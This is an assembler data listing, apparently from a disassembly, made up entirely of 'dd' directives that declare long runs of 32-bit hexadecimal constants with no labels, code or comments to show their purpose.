		dd 1790C86Bh, 9B0F2FFFh, 0A6D10140h, 631AFD30h,	625D6453h
		dd 725FAA27h, 887134B1h, 0EC92FF20h, 0C5338031h, 76D012B9h
		dd 67E50977h, 0F601BE27h, 0EC7CBFEDh, 83240F4Fh, 0E98E8566h
		dd 0E185B84Dh, 0A7561E42h, 391CC79h, 0ED7D8020h, 6BF5DDF1h
		dd 5F75DA8Ch, 0D460F8C3h, 5006E280h, 695A9959h,	310A7E8h
		dd 0A7E2981h, 3FA8D623h, 0F3C74163h, 0F089741Fh, 1885F40Ch
		dd 159000B8h, 3B051D6Ch, 6675A267h, 0C6FAE605h,	0DC557D4h
		dd 5BC21F24h, 0FC92E6A0h, 0B9546051h, 0A76802C2h, 536F7B61h
		dd 5744011Fh, 0EA4CCBF8h, 60469F7Dh, 39265B7Ah,	0A8C23607h
		dd 0B534D5BEh, 1ECDEE34h, 0EC3113BAh, 0ED1C8549h, 0D70E2BFDh
		dd 2D008F73h, 29B619E5h, 551F0E2h, 9436207h, 0C401583Ch
		dd 6F7E31F7h, 5FDFBFh, 3755A105h, 0D46B0474h, 41A4ABC9h
		dd 1B21008Ah, 77C2813Ah, 0C54EE4DEh, 5E73D2ECh,	0F4DBECCEh
		dd 0CC11F2BAh, 2547BA55h, 0CED8F45Ah, 4A37E93Fh, 0B42FF529h
		dd 53001199h, 70BF65EBh, 0B58D8186h, 0BB001AF8h, 2EF106A4h
		dd 486396E9h, 0C0E61A01h, 2E275A3Ch, 4889B855h,	0C8BB7F3Ch
		dd 92F289D9h, 3CAB2816h, 0B42550C7h, 0B55EB0h, 0CCFE05E4h
		dd 5109C480h, 7E58E388h, 87782DDCh, 917A22A0h, 0DAB880h
		dd 355C2259h, 64573453h, 5D7F96C3h, 5142E012h, 23F70768h
		dd 565931D8h, 840920D1h, 0F76167BBh, 0CD87DD82h, 129FF409h
		dd 0B448460Dh, 0E8F78476h, 63FF14FBh, 55960E7Bh, 0E0C1C7B9h
		dd 1F403597h, 4B895374h, 0BBE930C6h, 0E10646A5h, 5EF33118h
		dd 156F0B7Ch, 0A15D6B75h, 6C4A9639h, 41614C20h,	0ACE07E51h
		dd 0F1B1342h, 1BD0B958h, 0B11F5E9Ah, 8A6E2597h,	5D54137Dh
		dd 43D61FF3h, 582E97Ah,	850FCA0Bh, 660960E0h, 744C2D68h
		dd 0C79A206Bh, 0C3D03057h, 413716F7h, 89880016h, 0E9683C20h
		dd 0D99DBC7Eh, 772A46B3h, 47A94FD2h, 5F4A4017h,	0F1E20F77h
		dd 1038553h, 7560037Dh,	61FAE539h, 0DA081242h, 4526D176h
		dd 0A09CDDA7h, 535ADC90h, 4A60B4E7h, 1E34100Fh,	6675CBF8h
		dd 0E348162Ch, 83253EBCh, 1E906F3h, 5709872Bh, 57254C65h
		dd 17BC63BEh, 68E186BFh, 209501FCh, 0D5837D3h, 112D0230h
		dd 0FA3E840Fh, 0FB60957Ah, 0D1AC1929h, 0B544DE20h, 0F8F9AAB9h
		dd 8BA210Eh, 91E6D74Eh,	8593543Fh, 22E58CBEh, 30013925h
		dd 5EE807Eh, 98B0F3Eh, 5D389142h, 0EBF194B0h, 74CE2FE3h
		dd 24F3D038h, 725582h, 8EF90145h, 522C2728h, 1FF6A527h
		dd 0E7AD8349h, 102B583Bh, 1F058910h, 3A8BC588h,	221E665Bh
		dd 68130FDDh, 5B3276E5h, 4D8F4051h, 67C20632h, 0D4F3558h
		dd 51E584BFh, 9FAB00EEh, 5F5BAB11h, 782B3B8h, 673838DAh
		dd 580942E5h, 1AFD7D68h, 74A70480h, 995BADACh, 39EFF01Eh
		dd 0C3FA2097h, 4ACA56E3h, 4A258A1Ch, 6A7CD081h,	0E0A5EF04h
		dd 0A84F44E8h, 963F2ADh, 5B3FBF3Bh, 2900F656h, 37FFE9FEh
		dd 804BB401h, 4768555Dh, 605A127Dh, 0BFF7FF28h,	0C30B4F78h
		dd 167AC83Dh, 1A85A00Fh, 727D272Fh, 7531A1F8h, 0D3F7625Bh
		dd 3C57F140h, 0BA735CB8h, 401A5812h, 1F9BCB1Ch,	24DD6C1Bh
		dd 256D04BFh, 60EADE89h, 646FC64Eh, 5710BC18h, 305D2A6Ch
		dd 700C2F3Bh, 124E6549h, 2C828A03h, 0F3FF00DCh,	30693E6Eh
		dd 892568B0h, 0C36859EEh, 33024E7Eh, 13B25BEFh,	7900FD58h
		dd 3A4CEA2Dh, 0CFE92C1Fh, 0B6BF2634h, 55277D74h, 0F50229AFh
		dd 0E6B50F1Ch, 6A982E3Fh, 66E906EFh, 0AA2553CDh, 167B981Eh
		dd 204F2526h, 0D08F00DDh, 3A0A8605h, 9D8568A7h,	0AFF4F80Ch
		dd 3615B787h, 0D39DCAAh, 62E8215Bh, 0C843DCCBh,	0CE083026h
		dd 93E87D0Dh, 274AA4E8h, 4A2205C9h, 510B42D3h, 0B0DD4953h
		dd 1394EF0Fh, 1A554367h, 80128B5h, 26AB98E9h, 0D168096Fh
		dd 0C92FD64Dh, 6947B100h, 0B0956F0Eh, 0F6398217h, 0AD095E03h
		dd 0D2B35004h, 6E0A0518h, 0BD7C1A6Ah, 75E8AEC1h, 23077B89h
		dd 28A733EBh, 926496EBh, 46622580h, 4FBDE6D9h, 3BBA2D01h
		dd 0E06E4739h, 0E0939D49h, 69211788h, 9D0366D5h, 0CA66C7D4h
		dd 646B970Dh, 3161CDCCh, 55CA2A74h, 0A3DE018h, 631776B9h
		dd 241F2096h, 0B531D17h, 2847C904h, 6900AF12h, 6ABD7F91h
		dd 0EBE59D4Eh, 5F457D97h, 3F81E6C1h, 516D2672h,	0BD00AAD7h
		dd 22307AB6h, 0FFF74B89h, 0C724C179h, 0AA291448h, 0D100C762h
		dd 0A9BD55EAh, 92907A70h, 0A9C07720h, 0E189BF31h, 0B079CA35h
		dd 1B0A688Ch, 634F5E99h, 0CBC2597Bh, 0AC4FA464h, 3A356AF0h
		dd 0BFACD7C9h, 0CBC11C83h, 805D595Dh, 2F49F651h, 1F4B003h
		dd 4B3E2A7Fh, 9CA2F5E9h, 7900F7C5h, 890F5EF4h, 8E97548Fh
		dd 0DE0348EFh, 5A0BD120h, 5C08C380h, 0A5130AA3h, 0EE5A4CA1h
		dd 0A03075F8h, 6BD0C43h, 901A4A2Eh, 82A5F429h, 38C77897h
		dd 0EF4B879Ch, 80535E61h, 0C2FF242Fh, 847F6746h, 0F6D0736Dh
		dd 9C786E68h, 281D60AEh, 0D104137Bh, 948E9E3h, 0B25FECB8h
		dd 0FE5BC0C3h, 5FE9E87Fh, 3157097Bh, 2764027Fh,	1E98DD0Bh
		dd 0EEA5B55Dh, 361C2637h, 0A4F25029h, 3F5A7360h, 0A8135E39h
		dd 0C884D296h, 0D7177A64h, 8DBC0149h, 0C8B850E0h, 4C6C4Ch
		dd 0DB317005h, 4B95120h, 292B4F63h, 4035C021h, 0E3C2535h
		dd 0C5257201h, 9B1FD58h, 4C312B5Ah, 0B63888E9h,	93AA041Ch
		dd 4E46B36Ah, 0E9124CE2h, 0ACCBB0E3h, 84EEBECh,	4885C8ACh
		dd 0D6CEABD0h, 9F05FC4Ch, 0C5215452h, 7BB200D3h, 0AD5CE927h
		dd 0A48528D6h, 7193F1ADh, 74E4E955h, 0EA3C8076h, 0FCAF187Eh
		dd 4BE5BF10h, 90581C26h, 2AB90EC2h, 317BC21Fh, 0E96690CFh
		dd 0AC955A71h, 5FE6DF2Ch, 5DCB6149h, 585FA33Eh,	6075876Ch
		dd 2DAF160Eh, 42DC118Ah, 11B9002Fh, 4B71E25Bh, 0E99B3829h
		dd 2CD615F8h, 95860ABAh, 662F38D5h, 68507054h, 314F5F15h
		dd 0C20AAE55h, 2084D377h, 56C295A1h, 0EF8B7EBh,	0F087F27h
		dd 25F3FB8Ch
		dd 8006595Eh, 429BE6Dh,	582F8EF5h, 8F58A914h, 3D4A463Fh
		dd 0D960B22h, 57AF5148h, 0F76F901h, 6D0C8739h, 2D90EDCFh
		dd 48BE1F70h, 854F614Ch, 0B0570191h, 7F4E4860h,	4BD54382h
		dd 619BE01Fh, 352E0543h, 0C2E403E2h, 0C159C14Eh, 21506881h
		dd 25603697h, 1B93977Dh, 5DAADE0Eh, 0E9943874h,	0D40995BBh
		dd 8EF618C6h, 0BD93ED9Ah, 50D65C69h, 0F5214226h, 0B082020h
		dd 78406859h, 916374CAh, 0AA46BB82h, 875BD81Fh,	62B87127h
		dd 0D109EB08h, 335B1A04h, 52A49704h, 0BE1124BAh, 26ED17CCh
		dd 6749010Fh, 440C73B3h, 803845E9h, 4D94C1B9h, 0CB5169AEh
		dd 4114854h, 35AF62ACh,	0B59588E3h, 5735A8ECh, 0BDE64486h
		dd 804A095Ah, 0C43F7253h, 5D91F802h, 25765045h,	86C60DB9h
		dd 0ADCBFC54h, 53D83117h, 789E3D20h, 814F017Bh,	0E53F0EE7h
		dd 80357161h, 0C7ECEF12h, 1601BE9Eh, 8486E9FBh,	5409AB1Ah
		dd 50349092h, 336CC038h, 54685B13h, 78DA1953h, 0CF79AE0Bh
		dd 0BAB8964h, 20F72A7Ah, 5F985725h, 0A79A48CFh,	265FF10Bh
		dd 25A70284h, 2FDF09D5h, 2FF388E6h, 0B869DA02h,	5E80B148h
		dd 0D22B5164h, 0B5C5EDDCh, 0F197CD44h, 37F14B59h, 68F9F740h
		dd 41726382h, 7416F169h, 86BD5854h, 4CB9CEE0h, 0CB0135Ah
		dd 0B46705BDh, 0E012E948h, 28045855h, 96C680DEh, 500037CBh
		dd 0CE2C27B0h, 0F4E52334h, 6A551FE9h, 70B9DB94h, 268F6E4Dh
		dd 6810984Eh, 7B367326h, 4FDA85C3h, 2BC98910h, 6817D94Bh
		dd 1DE1EB86h, 81CADB66h, 642939C6h, 42FDCE09h, 5B0806AAh
		dd 27E2991Eh, 80C31BFCh, 0A94C5E7Ah, 41603D9Fh,	0D1F97042h
		dd 79BEC0ACh, 744B3767h, 433C8280h, 4F5BB00Dh, 81A4023Dh
		dd 83EFFB7Dh, 0D3F75E01h, 973C9DE9h, 1701CA58h,	311AF374h
		dd 0E619F4EBh, 73BF73BAh, 8182E96h, 5C1DFD3Ch, 33491D8Bh
		dd 0EF34F93Ch, 0B40BD379h, 0FCE40126h, 873CC8FBh, 890C5B5Ch
		dd 2DC3C0C3h, 304C2CE6h, 0F5889A82h, 5CA73C76h,	304F5C2Eh
		dd 660552F6h, 0AE551368h, 83D2B223h, 0A352E4EBh, 4A0288B5h
		dd 99331F32h, 3E588A2Fh, 99C209C4h, 6AE0FDD3h, 0F782E407h
		dd 1E42CCE2h, 2E81C1ADh, 0ACE4B2E9h, 7AE9B0DDh,	3CDBBD6Dh
		dd 0D53A6009h, 0E913F6E6h, 1402E05h, 0CE2AA8C3h, 5A589F37h
		dd 0DB33D409h, 410A044Bh, 5B8D14h, 57D2BAFEh, 81020E22h
		dd 2D3105EAh, 800DF97h,	0D7513935h, 0D9462861h,	0B470C236h
		dd 405F01F8h, 0DFDE592Dh, 0EB906A83h, 33030EE3h, 97841E14h
		dd 9A1CB583h, 0FD27DE5Fh, 1440C132h, 2CE16851h,	2BBF4BBFh
		dd 41344ACEh, 0E66BCC0h, 1A2276B5h, 3FF6855h, 22E2E241h
		dd 2DE3D098h, 0EA30D268h, 0F3705A8Ah, 907D095h,	0A34B66E9h
		dd 9F87D68Eh, 15B0F895h, 8DB90751h, 0B217BF60h,	67F57ACAh
		dd 35768570h, 4710903Dh, 2A94A7E9h, 66E83002h, 0ADBE5559h
		dd 18F0962Dh, 9FE75340h, 0B3A02064h, 73BDD1B7h,	5079A7D4h
		dd 5453D309h, 1372A6A9h, 265ADE7h, 2A0A37EAh, 0C235452h
		dd 0BD2BFAC8h, 0C63D30ECh, 41D69B0Fh, 4811C197h, 0E6016F9h
		dd 54618225h, 0D378573Bh, 6027FAA5h, 0F43BFF5Ah, 1F4FA0FBh
		dd 70016EECh, 294E3459h, 0E8002FEAh, 1B5E712Eh,	0E84207B8h
		dd 612D32D5h, 0D4075D58h, 897667A3h, 8038E927h,	2BDEBAA6h
		dd 0C15E13D8h, 0FE9D09EAh, 0B2DF550Bh, 56A2C1FAh, 0BC05D2F8h
		dd 12864A96h, 563732C9h, 98D03655h, 8146BD47h, 296002F0h
		dd 8097B34Eh, 38C673E3h, 0DD3F76F3h, 956FB296h,	4916FAAFh
		dd 775E54D2h, 985D4CECh, 0DCB40211h, 0FE58E528h, 0FB630CDFh
		dd 7277B018h, 69404D4Ah, 0FE08C8EEh, 0DB78BF60h, 0E908C650h
		dd 26EC0630h, 0E71AF680h, 5BB7D6F8h, 13BEAC54h,	5C03C7FEh
		dd 0FAEAD03Ch, 79F160F2h, 3C5D8116h, 0CC4B17Ah,	8928B27Eh
		dd 5F326091h, 1041B547h, 0F484C36Bh, 64301CB8h,	2E851C77h
		dd 0C7BBCFA7h, 3D9CDE82h, 7E808AFFh, 0E38AFD05h, 0BD7621BBh
		dd 0E78192AEh, 0EBA489ACh, 60292998h, 0D6C95BBFh, 4D50030Ch
		dd 4A691EF4h, 0D1C4059Fh, 7E918EAFh, 0A0B19F5Bh, 61595DA7h
		dd 2611E5C3h, 742D1DBh,	75C37BBAh, 6781FE01h, 1304E58Bh
		dd 42D788C4h, 760AAA69h, 145DD245h, 0D7279F2Eh,	0D834C568h
		dd 12E54B42h, 407274F7h, 51F333DCh, 687F64C3h, 3AE9E8BFh
		dd 0C37BC046h, 0A95A29D5h, 21796CD5h, 2752511h,	4903836Ch
		dd 2E2ACF8Ah, 0A9FE3AE7h, 5F65A8F3h, 9EB5FF0h, 5BE20768h
		dd 0D12C0785h, 6DF83110h, 7E0858A2h, 0F1AEE61h,	2EB4387h
		dd 6869050Ch, 60F51F27h, 0BD5DE935h, 87F5BD09h,	0D3D3359Eh
		dd 0D0F460BCh, 3403427Dh, 474AE916h, 41145BCCh,	89812F32h
		dd 0C2EB512Eh, 0C694C811h, 7C751EB4h, 0DDE0CC28h, 6905F1EBh
		dd 894B02B7h, 6EC1EE17h, 0C3BBD756h, 76AA7C27h,	0FC70073h
		dd 8B7ECD1Ah, 22BD145Eh, 667789A2h, 0C41278Eh, 3FFD9866h
		dd 7157B262h, 73FF62A8h, 165E44FDh, 6FC2546h, 4E4AAA27h
		dd 2CB45012h, 8BC94EB1h, 0B6111A96h, 0D091270Bh, 247BB5D4h
		dd 22BE6801h, 97201043h, 6ABC4133h, 0FF07D4C3h,	0A28D3FD5h
		dd 136EA63Ah, 66D70158h, 7DB83575h, 7EDC009h, 0AB6D9D04h
		dd 3016A3E2h, 6620BFCCh, 5DFC059Fh, 0B7CD791Ch,	5E639E6Fh
		dd 0DA40B653h, 4A3DF168h, 6A7984Fh, 0B5C213C7h,	0D24178B0h
		dd 0E302331h, 29505E60h, 3706DCA4h, 0F1E93009h,	0EEA9F7E6h
		dd 0B7FB8700h, 0D70E2811h, 0A1F02C5Ah, 90D8E9F8h, 2B24696h
		dd 6AB050D4h, 3ECB4F61h, 8F801A25h, 7E470548h, 0A10C5B6Bh
		dd 0E11578F4h, 5802BB2Bh, 1659717Fh, 80E0C036h,	2EF0AFC4h
		dd 0FEE82F7h, 0F20E358Fh, 29CC0F97h, 0CC9D3B42h, 34C0FE63h
		dd 2BF955Ch, 1771C6C9h,	0D3F8C331h, 84375B3Ch, 0A9A91601h
		dd 7EF01FEh, 291FDF20h,	24BB017Fh, 7050C735h, 1717F5A9h
		dd 80BD4557h, 42D9B117h, 0B5B6876h, 100C6BECh, 546C735Eh
		dd 9C0126C2h, 50470A52h, 0F1D99FD6h, 29BD6F9h, 0DF45F75Fh
		dd 0C1766A2Dh, 0FE60D679h, 6B09D32h, 0E3014A6Eh, 0E1E95746h
		dd 0C7390135h, 1E3A6809h, 0B09DB3D1h, 0E974FB41h, 0FF058AB8h
		dd 64A8180h, 4E507CE8h,	0BABA1713h, 11F13A21h, 7A35A63Bh
		dd 9135392Fh, 0D76057A9h, 817B13EFh, 4C350848h,	7904C689h
		dd 6D6863E3h, 17215ECDh, 0E9FA4218h, 2052D167h,	0CF8B8584h
		dd 8478AFF2h, 1520BF03h, 0F3526E31h, 0C0A3E9FAh, 5B9F312Bh
		dd 0BF108F63h, 93D70647h, 66865CF4h, 19AA8D9h, 3F419168h
		dd 0CD7AF3AEh, 3B2CE535h, 4027B693h, 4041FD0Bh,	0D80BB959h
		dd 1070BD07h, 3057567Fh, 890C47F5h, 5D27ADDEh, 986EE309h
		dd 5C582972h, 0E04521Fh, 0FE97C847h, 49E91507h,	0A48D0185h
		dd 7E189633h, 502D0E13h, 25BD1024h, 13CC840Eh, 1CD8CFEh
		dd 7D833ADFh, 7851A73Bh, 0F1B72D1Dh, 2E8EE368h,	2911C117h
		dd 758A6D04h, 0FC5FE00h, 0B464258Ch, 0E4909675h, 0E104B2Dh
		dd 800F1EB6h, 0DB79DD0Bh, 40CE8B62h, 18D8E353h,	6C74986Dh
		dd 0EF28BE7Ch, 0E91284AFh, 9135E651h, 6EB73C02h, 0EFB46197h
		dd 4F8D282Bh, 0A876812h, 7806DEA3h, 0A00EE256h,	5FC004FFh
		dd 0C9CEFE58h, 0C822C0Ah, 0F2E642D0h, 5AF48805h, 4E8589E9h
		dd 0E4A11224h, 0F72E7F60h, 751FC233h, 0B975AD09h, 3D7E6Bh
		dd 7370B14Eh, 9FFD1001h, 1736BE40h, 941067Eh, 0AAEE8A25h
		dd 7957681Ch, 0BC3A552Dh
		dd 9A7EECDDh, 0E8407BE7h, 0BA58C103h, 426B964Fh, 9F505D3h
		dd 7BFBEEE4h, 2D7EE98Bh, 6EC0A653h, 0F8D3898Ch,	930B6EAEh
		dd 0DB464D09h, 0B95A8730h, 0F7975C9h, 860F21CBh, 3A5233E9h
		dd 849DA659h, 26F35453h, 6D84E54Ch, 0EA33A4F3h,	0BD598E40h
		dd 17E69BE0h, 530A231Ah, 904F592h, 0AA7E855Ah, 51B02509h
		dd 0F08C3FC9h, 5E08AC8Eh, 0E0BA2D05h, 0D2AEEBA2h, 6BC02BB0h
		dd 0B8807137h, 0ED2628F6h, 0DE2E5DD5h, 6CA811Eh, 0C4DDE0Bh
		dd 0A226BD0Fh, 22F28E38h, 55117021h, 5E13F8A0h,	92BE6C8Fh
		dd 0F5ED8309h, 505A0216h, 9A995BADh, 4E25929h, 0E10AC894h
		dd 0EECDD594h, 138BE82Eh, 0B6EDEA3Ch, 8A84FF27h, 0E106BF21h
		dd 7F10076Dh, 23E49552h, 2698BFB0h, 80013196h, 0F9303AF7h
		dd 7EC9E670h, 0B777EC03h, 956CCC98h, 0CB84B7DFh, 39880131h
		dd 6BD98333h, 48A37F4Ah, 169FE30Eh, 0DD37FF7Fh,	15F3B187h
		dd 0B902F142h, 47E6F928h, 1F26DECh, 3447DF5Ch, 0A6C04973h
		dd 0B685256h, 0E9322EAh, 0AB4FCD8h, 0C40CC196h,	5F65E826h
		dd 0F0C59846h, 0BD9C564Bh, 0E0D94EFh, 5404840h,	797C1E21h
		dd 0BFCE94BFh, 0E1082253h, 1EE90459h, 2D9BCBE6h, 0BBE7BF3h
		dd 832B232Ch, 70755512h, 4D113018h, 2EC3801Ah, 6BC806CFh
		dd 5FA1D053h, 139EB65Dh, 8EA13668h, 4E6FCA2Fh, 0A44ED2BCh
		dd 0A6057F1h, 76D70D58h, 0F7D0F6Ch, 165A8583h, 125C2584h
		dd 0D44B89EBh, 2D00ADF2h, 714142AAh, 3A698F05h,	0C8805F5Eh
		dd 0E92CBA30h, 219F9915h, 2718A2F8h, 0BEA81C4h,	12101C5Dh
		dd 0EBC06BC3h, 79081E6Dh, 250E54E9h, 2B09F40Bh,	0EB1E6772h
		dd 344E4DA3h, 41B8D401h, 0EAA82E08h, 0B81F96C4h, 2247C49Ah
		dd 0D0F5B2D2h, 5870E915h, 28C761D5h, 2AA98D0Fh,	565C0Bh
		dd 9D51310Dh, 0E3C09D0Ch, 0BE9AABF7h, 0A768AFBCh, 66463EE2h
		dd 286825EFh, 59978F71h, 4F528B9h, 864EB048h, 0ED120C1Dh
		dd 9804F312h, 95D16515h, 0AE141974h, 9D10E844h,	7340BA00h
		dd 12983368h, 978CC40Eh, 2BC5C0CCh, 4E6DAF55h, 16F48401h
		dd 8261E908h, 0A0013FC3h, 0C93EEED3h, 974A7168h, 0E1317440h
		dd 15C2A2C2h, 3BEFDE47h, 8E880F01h, 69D32948h, 0BEF4D826h
		dd 0D65102ACh, 66FE681Dh, 15824F51h, 555D0970h,	0C60A4FD0h
		dd 0AB352E9Bh, 0B6CBEE00h, 9F29D8B7h, 25EA06C0h, 0E4074B95h
		dd 77FA14D5h, 2E634B5h,	4BC1870Fh, 4A4BDA00h, 4E6057D9h
		dd 599A2A60h, 34CAC633h, 0AE104BDBh, 0A62C4B1Eh, 0A3A4412Ch
		dd 68037FC4h, 5916436Eh, 0BDEDDE9Eh, 8F530809h,	0F8CF6B00h
		dd 374C6E2Eh, 4F06133Fh, 4FA94356h, 5F621827h, 0AF3C5B77h
		dd 64B48FBh, 76CEECCh, 28729C35h, 0EBA1A573h, 7BCF4990h
		dd 46B3B4Ah, 24C4E701h,	0D8D13C63h, 0C830E94Fh,	3DF62967h
		dd 2B152C6Ch, 0D7489F16h, 0AF5DC5A4h, 6DBDCB12h, 2032294Eh
		dd 68125570h, 81A330B0h, 0C6431C06h, 9C446815h,	27AF09CEh
		dd 0B10E4B4Ch, 59689EABh, 40063993h, 97F58175h,	0B842B50Dh
		dd 2F3DC557h, 9920B2E4h, 97419F28h, 3E093851h, 2F8A92C2h
		dd 0C42C7FA4h, 0B2435090h, 94F27716h, 842E665Dh, 0C1404697h
		dd 534A72B4h, 1EC40CC1h, 0E37B56F6h, 1BD31201h,	54E111F8h
		dd 0FCDE8858h, 0C53178Eh, 0C92FD370h, 2B3B41F6h, 0F60E7C1Fh
		dd 0A421F55Dh, 46871C29h, 94E1558Bh, 6BEF61CDh,	1FD9F301h
		dd 0C5408F0Bh, 4C1C644Ch, 0A5047126h, 0D7066622h, 3408EA79h
		dd 5D14011Ch, 4C28A068h, 604AB1CEh, 0FEB1DEFCh,	9E452F1Fh
		dd 0E4A2A3EFh, 7C185758h, 2B2D126Ch, 21E741Eh, 14B5DA9Dh
		dd 8B806AEh, 0C6FAE75Bh, 5C8F5701h, 51A0EE80h, 802AB735h
		dd 0F41536FAh, 94C8214Eh, 2B551DCDh, 9E87BC0Eh,	0F72CBFF6h
		dd 0D0B1D4CBh, 0ADB68BDh, 48B5719Dh, 716827B4h,	535F03E8h
		dd 2DAA2725h, 6B142B50h, 94E000CDh, 0F8313314h,	0AB4F2DE9h
		dd 36C5DA18h, 8DEACEBAh, 0A0B3E417h, 0BB4854ECh, 8810B716h
		dd 5A256858h, 0D49C1814h, 73E30452h, 8015E10Dh,	2AAE058Ch
		dd 0F4DAC02h, 5662E88Ah, 548D42F0h, 0A38068F8h,	7AC1333Ah
		dd 0BF6E8CB9h, 78B3BE42h, 5272B41Ah, 35352CF2h,	6BA9352h
		dd 10EBBB2Ah, 2F9DCC95h, 0E1D35966h, 17DB0B08h,	8F9004F7h
		dd 0E660F3Bh, 0C9A872D3h, 0EA2E9077h, 20BC954h,	4CB71F82h
		dd 0EA8BC120h, 0A1084F7Bh, 6E1C6506h, 0E993EDE2h, 0EA3610D8h
		dd 0C6705B25h, 248EEE6h, 0B703CF4h, 0E01E7E5h, 28E88DADh
		dd 956E5D30h, 51FCDD46h, 1F307A4Fh, 376F2Ah, 88CD817Dh
		dd 0D128DE0Fh, 0EC9EED50h, 0AB734082h, 4AB213C2h, 0BC6B8131h
		dd 0B846818Ch, 53A531Ch, 601E7D30h, 0DBE3DB61h,	3727A918h
		dd 8ABA564Bh, 0AF92C264h, 4B500A61h, 8B247CB4h,	0B88A5CDAh
		dd 57895E35h, 0C647FF50h, 5870E98Eh, 91016C39h,	0B6528078h
		dd 8027B31Eh, 0E972EB09h, 0F7DFABF9h, 0BA87BC83h, 0CF750B87h
		dd 5DEF8C85h, 4741EDBAh, 6D54D489h, 620A7C45h, 7A89C0F4h
		dd 8E13511Ch, 0BF13EAECh, 0FAD0CDD8h, 0A9675F74h, 0D7BA933Dh
		dd 2F1B126Eh, 0C24679D7h, 8A49A8E4h, 0DE6F4DEh,	65CA590Ah
		dd 1A09894Eh, 56D59801h, 58C688E6h, 8FD6617h, 526030A1h
		dd 78142E99h, 111814Ah,	0DD0F1767h, 62A6AFEFh, 0A256820Bh
		dd 258190A0h, 0C7CD88DCh, 0D5B45E28h, 0ED920DF8h, 4F684B09h
		dd 20E4E638h, 0FE07369Ch, 0B9CB80C3h, 48E0E334h, 582B4AF6h
		dd 79A62CC6h, 975D5480h, 0E92A7F3Eh, 0EDBDA386h, 192A8E32h
		dd 57CEEA16h, 0BFC1E90Ah, 0AD9DEF22h, 56F0076h,	4EEDCF2Fh
		dd 0F13C970Fh, 8EB40037h, 1105EEFh, 800A5888h, 3E0017BAh
		dd 814A39FEh, 3541BEAh,	830F3BD1h, 7F1CA43Fh, 4A385508h
		dd 0E9652CAAh, 0A71E7825h, 0BA8205C5h, 1A8890FEh, 1ED74863h
		dd 174EE82Fh, 0B0429907h, 8869293Eh, 0E90B08E3h, 5949E250h
		dd 0C45EAD46h, 0E0B68649h, 0FAC71C63h, 7F5D5B6Bh, 9A0D1203h
		dd 0F001FC99h, 951F75E9h, 1C17CE48h, 36298224h,	7AC74906h
		dd 73C1000Ch, 0E956EC4Eh, 8192D80Ah, 0B55DEA24h, 58977E49h
		dd 444921E9h, 8F0F0928h, 8AFCAF52h, 0E2014F0Eh,	4F797F8Eh
		dd 60860D60h, 8CF28B02h, 0BE986903h, 0B8806EE6h, 8618151Fh
		dd 5ED3B0h, 1E8B25BCh, 2D005479h, 60AF5B07h, 276EC335h
		dd 48A0AFFh, 53013F82h,	0E51F23BBh, 0C305207Eh,	41EB85C0h
		dd 0C456CB25h, 0BFFFB70Ch, 34889A81h, 4FBF4F34h, 0A4528C14h
		dd 2E1A5605h, 0A5905CE9h, 0BEF0315Ah, 2114205h,	0F63292D7h
		dd 71D51897h, 3E1407E3h, 5F21923h, 162D77D0h, 1343287h
		dd 40C571AEh, 25F1C224h, 1B69C70Ch, 5756409Dh, 2940A095h
		dd 0CD4E7D19h, 2A0D25C8h, 0D9BA1812h, 1596CEAh,	32A93757h
		dd 4A8DAF7h, 4A15168Bh,	7F4BBB4Eh, 62250046h, 9D2AC949h
		dd 7CFD5940h, 0D9E53B9Fh, 0BEA63B95h, 86D1879Bh, 0A4BD6155h
		dd 0EDAE6041h, 3EC50340h, 0E1DF21D7h, 3E2DF4ACh, 56B8737Dh
		dd 0EC505F6h, 0AC4C27E9h, 0F858AAF7h, 3C303F72h, 96870F8Bh
		dd 0B02D7E60h, 66A33912h, 0ACB9C804h, 0C4843500h, 4C9CABDEh
		dd 0A7A1D9C5h, 183BA22Ah, 68B41901h, 8C515BABh,	1BA03800h
		dd 0DC97EAF1h, 0D6E7C2ACh, 58D5EED5h, 0DB174D30h, 60E8DD90h
		dd 0D6726F99h, 0DA9989Fh, 488AF6F2h, 5F188E50h,	0F6058A08h
		dd 0A256D914h, 0C7945Eh, 3C9C63A7h, 0E97F800Fh,	0FCE1524h
		dd 3A5807FEh, 1A898C83h
		dd 0E054B710h, 68525F02h, 0AFC66BB0h, 8B382590h, 36ACC12h
		dd 4332E2CFh, 0B1F7B044h, 0BA2A6949h, 0AFBB827Dh, 0B6A257D7h
		dd 0E744C3D4h, 0FBDB8A18h, 25BBE39Dh, 0D77E1F59h, 5ED42A12h
		dd 40DB1C82h, 0EF5D756Ah, 0EC2A04FDh, 9104E524h, 27EE5E6Bh
		dd 0F0638273h, 30DEC048h, 8539D9CDh, 4A310FFCh,	92C0ED01h
		dd 0DE530C1Fh, 0FBCC52h, 0FDC981F0h, 4B600772h,	3E28D692h
		dd 9B3901Ch, 31F93969h,	2DE4257h, 78E3E908h, 88535B88h
		dd 5045BDAh, 4F5E5169h,	75410AEh, 0E1E98562h, 9440556Ah
		dd 0C0B22033h, 402E025h, 0B0C325D8h, 9AE9A8DCh,	4E93BD22h
		dd 0A9DC96C2h, 0B18CB200h, 0D130E4h, 0B450665Ah, 0D2ABE9BEh
		dd 0D0E6B8A8h, 400A7E12h, 0C0C0CE0Eh, 0FFE920EBh, 33E7BDE8h
		dd 0E9049826h, 0A9E61B28h, 0C2C7502Fh, 96A42916h, 284BBE40h
		dd 0B0F54952h, 81E3D100h, 0DF702DF3h, 64E93C1Eh, 0BA3CEBA5h
		dd 75516A30h, 316E6BECh, 73C4968Ah, 20BE0812h, 52D92917h
		dd 4A685001h, 582F6937h, 9AB9B54h, 6D115169h, 352D2B4Dh
		dd 0AF6966D1h, 0E76B9C0Ah, 7EDC0CB3h, 0D305EB2Fh, 1687937h
		dd 8C3F70Ah, 71138809h,	82EE4A64h, 84E95452h, 973AEC56h
		dd 8FB39A13h, 0BC4F425Eh, 0EF01D556h, 0BD2B0132h, 0ED619378h
		dd 836CBEE9h, 89565C04h, 2F44F1D6h, 0C58160D5h,	0CCE3E35Bh
		dd 5F95F3FBh, 81E519ACh, 6A314502h, 4E6DA1A0h, 41FA312h
		dd 69B8592Dh, 0C13C80FAh, 34A1023h, 6FE22DEBh, 0F33F76A0h
		dd 5F786233h, 48CC0352h, 4638E8D1h, 1F659218h, 0E9EE5F80h
		dd 777E18C6h, 0D80DC831h, 19091400h, 0C0400805h, 0D8D0B7A0h
		dd 84C1F9B7h, 0E31DC468h, 57150524h, 0B1E05259h, 406F1238h
		dd 0E1E8174Ah, 33F27A5Dh, 6CDD0CC9h, 5CFAB5FEh,	722CF727h
		dd 0D033A2E6h, 0CE29164Ah, 1059E959h, 5827DDFBh, 401F0540h
